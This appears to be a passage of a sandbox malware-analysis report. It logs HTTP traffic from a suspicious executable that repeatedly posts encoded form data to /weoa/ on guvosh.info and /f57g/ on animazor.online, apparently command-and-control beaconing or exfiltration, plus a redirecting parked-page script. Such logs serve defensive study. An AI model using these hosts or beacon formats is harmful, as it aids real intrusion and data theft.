Oct 3, 2024 18:12:17.052107096 CEST	835	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:12:16 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49738	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:22.371114016 CEST	781	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 58 45 75 6a 6f 49 62 53 42 47 70 61 78 64 6a 31 5a 62 36 6e 67 73 75 78 6c 45 65 51 4d 49 57 72 36 55 31 75 71 42 46 53 4f 70 67 6e 36 42 67 7a 73 4b 76 69 37 55 2b 57 4d 48 4a 68 39 56 63 70 6b 2f 46 49 44 79 64 38 68 6c 41 35 64 57 6f 55 2b 72 49 42 79 72 45 59 6d 78 44 32 51 49 70 49 4a 37 6a 6d 4c 4c 52 31 6d 44 6f 72 4b 4d 55 58 4d 4b 4f 4c 7a 2b 49 35 39 58 73 77 36 73 4e 33 51 6c 77 4e 58 63 73 4d 55 46 6f 77 42 52 71 51 35 62 32 34 79 6c 55 64 7a 4d 57 30 72 4c 6f 39 76 34 4d 6c 4b 31 77 65 33 53 64 68 72 49 43 52 4a 62 54 52 57 67 3d 3d Data Ascii: SLTxDJ=Jqttf5a6lfThXEujoIbSBGpaxdj1Zb6ngsuxlEeQMIWr6U1uqBFSOpgn6BgzsKvi7U+WMHJh9Vcpk/FIDyd8hlA5dWoU+rIByrEYmxD2QIpIJ7jmLLR1mDorKMUXMKOLz+I59Xsw6sN3QlwNXcsMUFowBRqQ5b24ylUdzMW0rLo9v4MlK1we3SdhrICRJbTRWg==
Oct 3, 2024 18:12:22.538602114 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:12:22 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49739	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:25.069286108 CEST	801	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 52 6b 65 6a 76 70 62 53 48 6d 70 62 6f 74 6a 31 51 37 37 50 67 73 71 78 6c 45 32 2b 5a 71 79 72 36 77 78 75 72 43 64 53 4e 70 67 6e 6f 68 67 32 30 71 76 74 37 55 7a 70 4d 44 4a 68 39 56 49 70 6b 2f 56 49 41 46 78 37 7a 46 41 37 58 47 6f 57 77 4c 49 42 79 72 45 59 6d 31 76 63 51 4c 5a 49 4a 4c 54 6d 4b 71 52 32 6f 6a 6f 73 64 38 55 58 49 4b 4f 48 7a 2b 4a 57 39 54 74 34 36 76 31 33 51 6c 41 4e 57 4f 45 50 65 46 6f 4d 4e 42 72 30 35 4b 76 4d 70 56 59 53 31 4e 69 78 69 6f 77 6a 75 75 64 2f 58 48 45 36 30 42 42 54 76 34 37 35 4c 5a 53 4b 4c 70 6b 6e 53 61 2b 57 4c 70 32 57 6e 63 66 76 61 45 41 39 6d 64 6f 3d Data Ascii: SLTxDJ=Jqttf5a6lfThRkejvpbSHmpbotj1Q77PgsqxlE2+Zqyr6wxurCdSNpgnohg20qvt7UzpMDJh9VIpk/VIAFx7zFA7XGoWwLIByrEYm1vcQLZIJLTmKqR2ojosd8UXIKOHz+JW9Tt46v13QlANWOEPeFoMNBr05KvMpVYS1Nixiowjuud/XHE60BBTv475LZSKLpknSa+WLp2WncfvaEA9mdo=
Oct 3, 2024 18:12:25.235342026 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:12:25 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49740	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:27.774251938 CEST	2578	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 52 6b 65 6a 76 70 62 53 48 6d 70 62 6f 74 6a 31 51 37 37 50 67 73 71 78 6c 45 32 2b 5a 71 36 72 36 6c 6c 75 71 69 68 53 4d 70 67 6e 7a 68 67 33 30 71 76 4b 37 55 37 74 4d 44 4e 58 39 57 77 70 69 73 4e 49 55 6b 78 37 34 46 41 37 5a 57 6f 54 2b 72 49 55 79 72 56 66 6d 31 66 63 51 4c 5a 49 4a 49 62 6d 44 62 52 32 6c 44 6f 72 4b 4d 55 68 4d 4b 4f 6a 7a 2b 42 73 39 54 34 61 36 65 56 33 51 46 51 4e 61 62 77 50 57 46 6f 30 4f 42 72 73 35 4b 54 54 70 52 78 70 31 4f 2b 58 69 75 55 6a 73 50 6b 42 45 56 34 5a 33 7a 52 78 67 71 2f 65 48 76 62 55 4b 4c 55 38 57 62 33 36 4d 70 79 38 76 2b 48 42 47 6b 34 36 37 49 68 34 72 38 2b 49 31 42 4d 73 6d 48 6a 46 59 2b 6a 59 35 59 5a 36 6d 30 79 38 63 58 62 4c 58 47 2f 36 45 30 74 76 61 64 64 50 4e 4e 6f 33 31 4b 54 6c 2b 58 75 4f 34 75 54 67 46 57 2b 6d 6f 79 6f 4c 63 65 66 6b 65 6b 39 5a 57 6f 57 56 64 69 32 34 63 75 7a 4b 4c 6d 63 39 30 46 35 31 51 75 2b 69 6a 79 2b 34 78 59 5a 78 31 53 57 6c 44 4e 4b 72 6d 70 7a [TRUNCATED] Data Ascii: SLTxDJ=Jqttf5a6lfThRkejvpbSHmpbotj1Q77PgsqxlE2+Zq6r6lluqihSMpgnzhg30qvK7U7tMDNX9WwpisNIUkx74FA7ZWoT+rIUyrVfm1fcQLZIJIbmDbR2lDorKMUhMKOjz+Bs9T4a6eV3QFQNabwPWFo0OBrs5KTTpRxp1O+XiuUjsPkBEV4Z3zRxgq/eHvbUKLU8Wb36Mpy8v+HBGk467Ih4r8+I1BMsmHjFY+jY5YZ6m0y8cXbLXG/6E0tvaddPNNo31KTl+XuO4uTgFW+moyoLcefkek9ZWoWVdi24cuzKLmc90F51Qu+ijy+4xYZx1SWlDNKrmpzNj4+NRJgOH+xVy9hZOruPpI3FQxriQ/JAq83HUu0a3vFEqd5HvubG8yoxuSd41sTbfRhE1Hc5SqVidHMn8+v/6m4ykuxNJKwDD+qzCDACiCG7rXa7IadCaocpG6RsAOmgViuR6mOAjz6ZBu2/7YQXW89d57MDxs6Q+rNrMZ1Ti4Z8qJ/V2rr7yafM972Gy/iD/QQtbKQkxfNCrwwKVn6wt64lTPZ+89JmcOBjjrmg7+1H0UoHu9OUBC5M9o8p2BtBrxJwOyICt9J0CLDrhN+ox00Ewo4CtBRo7+iHpwwThpCygKaZnArSR7BJrhlcFyXfPY7rk1TPGih+LX+xY3QxwyrmnDVV2T0tpvDQpurwcuU5XI8Js8TBTt9NCDkqC3hdQhmb1T55pJ0hmkG/bC3BezacqlcXELdrsjkFTKGi17tetc3ppONwvz7vWTvZ5zvdj1wr8uIbzjJc2gxvgsDU4+l3hjp8m3W3oQs82CbX2SoDHm4F2vOHa6nI6TrSwKha1MqZY2QrZWKd1qmwzdfn3X9zYQ73KwyTfsOXRkzR8fuFjBGvPIVlCtKyK5q4Fkl+D8uV9cdBnXALm9v8EK+4VF54Fbrrk/ySNv4bWnhvbpK8cZ4wYwXxip5FsdSuUYHMBQE6ZJwO7fBQfX/dqhrlYdm1uHs327FUA [TRUNCATED]
Oct 3, 2024 18:12:27.774374962 CEST	5372	OUT	Data Raw: 57 4a 47 62 52 71 4c 64 57 39 53 54 65 6b 35 70 74 39 71 6f 4b 49 4d 62 51 39 4f 69 4b 33 61 30 61 6e 55 37 6a 4d 64 51 6d 4e 31 39 41 4e 61 48 7a 43 30 6d 53 58 48 75 2f 6f 39 65 37 61 61 6e 69 4e 36 6a 6f 43 4c 6f 59 33 74 76 39 70 39 63 43 7a Data Ascii: WJGbRqLdW9STek5pt9qoKIMbQ9OiK3a0anU7jMdQmN19ANaHzC0mSXHu/o9e7aaniN6joCLoY3tv9p9cCz8AvHRlqpKE8qPW1PbCWpc5t+pOk2sgv3i10Nd519wt4Mag4BqdH1dnkX071FdWSl4m6BfLkrN01Rm4uiycuvzL+peYbJB2I9JDlcGqIELvz8z/LPZ1vLYrvrXcik15HppfGl7xyKmaMkRwc1BwGgVMOlRNThchkpe
Oct 3, 2024 18:12:27.943320990 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:12:27 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49741	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:30.471457958 CEST	517	OUT	GET /weoa/?SLTxDJ=EoFNcPjpgMXDCm2GvpzDf2Up793BOIi+pKCezFiYD4jbj2Yo7D13E7BcxzwFrISbrXGSJXEIolRF+rdzKXlRzk56QF0257Aw5rMH1zy2O6JYE5jaN7phvns=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.guvosh.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:12:30.638365030 CEST	610	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:12:30 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49742	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:36.430222034 CEST	793	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 4a 74 47 5a 6a 75 39 38 76 2f 63 48 55 64 77 4d 74 49 2b 47 2b 57 6d 2b 4b 57 31 68 74 71 70 70 6d 65 6f 51 4a 63 70 51 56 4d 4a 71 49 31 6c 43 58 6b 53 48 65 76 4f 71 66 7a 38 67 6b 67 50 67 2b 36 4d 51 4f 46 68 6c 33 74 2f 31 69 43 62 53 72 33 75 6e 70 69 4d 30 32 64 72 4c 67 58 6e 71 59 63 58 54 37 68 52 58 58 68 6c 49 57 6f 43 6d 57 45 4e 37 57 38 41 2b 68 4a 5a 54 71 4e 35 54 38 70 75 58 44 65 4b 58 35 70 6e 6b 65 7a 65 58 77 50 78 5a 6c 33 4f 32 74 2b 42 71 6a 41 45 74 57 71 52 68 58 4e 2b 54 62 2f 70 4d 6e 4c 49 56 65 72 55 6c 67 3d 3d Data Ascii: SLTxDJ=Cra0IN3qMqcFZJtGZju98v/cHUdwMtI+G+Wm+KW1htqppmeoQJcpQVMJqI1lCXkSHevOqfz8gkgPg+6MQOFhl3t/1iCbSr3unpiM02drLgXnqYcXT7hRXXhlIWoCmWEN7W8A+hJZTqN5T8puXDeKX5pnkezeXwPxZl3O2t+BqjAEtWqRhXN+Tb/pMnLIVerUlg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49743	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:39.175297022 CEST	813	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 71 6c 47 63 46 6d 39 77 66 2f 64 62 45 64 77 57 64 49 36 47 2b 4b 6d 2b 49 36 6c 68 66 2b 70 70 48 75 6f 54 49 63 70 58 56 4d 4a 69 6f 31 38 49 33 6b 5a 48 65 7a 67 71 64 6e 38 67 6b 30 50 67 38 69 4d 46 76 46 69 6e 6e 74 39 35 43 43 5a 66 4c 33 75 6e 70 69 4d 30 79 31 4e 4c 68 2f 6e 72 70 73 58 52 61 68 53 5a 33 68 6d 4c 57 6f 43 69 57 45 42 37 57 39 6c 2b 6b 51 43 54 75 39 35 54 2b 68 75 5a 32 69 4a 4f 4a 70 62 35 75 79 69 5a 53 75 2f 64 57 54 65 34 63 65 6f 6d 79 34 7a 73 41 37 4c 38 6c 35 61 51 49 6a 62 49 58 79 67 58 63 71 50 34 73 59 6f 55 6a 53 65 6d 47 4c 39 4e 68 58 36 31 71 31 4a 67 62 59 3d Data Ascii: SLTxDJ=Cra0IN3qMqcFZqlGcFm9wf/dbEdwWdI6G+Km+I6lhf+ppHuoTIcpXVMJio18I3kZHezgqdn8gk0Pg8iMFvFinnt95CCZfL3unpiM0y1NLh/nrpsXRahSZ3hmLWoCiWEB7W9l+kQCTu95T+huZ2iJOJpb5uyiZSu/dWTe4ceomy4zsA7L8l5aQIjbIXygXcqP4sYoUjSemGL9NhX61q1JgbY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49744	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:41.925582886 CEST	1289	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 71 6c 47 63 46 6d 39 77 66 2f 64 62 45 64 77 57 64 49 36 47 2b 4b 6d 2b 49 36 6c 68 66 6d 70 70 78 79 6f 52 72 45 70 57 56 4d 4a 6f 49 31 35 49 33 6b 2b 48 65 37 73 71 64 37 73 67 6d 4d 50 79 4a 32 4d 42 71 6c 69 75 6e 74 39 78 69 43 59 53 72 33 42 6e 6f 53 49 30 32 52 4e 4c 68 2f 6e 72 71 45 58 56 4c 68 53 4a 48 68 6c 49 57 70 44 6d 57 46 65 37 57 6b 59 2b 6b 63 53 54 64 31 35 51 65 78 75 56 6b 4b 4a 52 35 70 6a 70 2b 79 36 5a 53 69 30 64 57 2f 6b 34 66 43 43 6d 78 49 7a 73 31 54 52 76 30 77 46 45 62 4c 4b 4e 6d 4f 6d 57 4b 79 5a 35 66 49 4f 54 43 69 48 69 68 62 66 43 68 62 41 78 72 31 5a 39 73 52 7a 75 2f 32 59 75 46 74 49 72 61 57 5a 58 58 74 79 48 37 52 57 48 53 4e 69 5a 42 52 72 4e 44 61 34 51 75 52 33 75 5a 73 6a 2b 41 6c 77 38 53 39 7a 74 68 74 75 32 38 52 6c 55 38 52 49 55 50 4d 72 79 75 67 30 42 56 33 72 49 61 63 44 49 4c 42 6f 70 78 59 51 76 67 77 45 50 31 51 2f 6c 4d 79 45 77 39 45 50 48 34 56 4a 64 4a 4b 41 59 48 73 53 59 71 6f [TRUNCATED] Data Ascii: 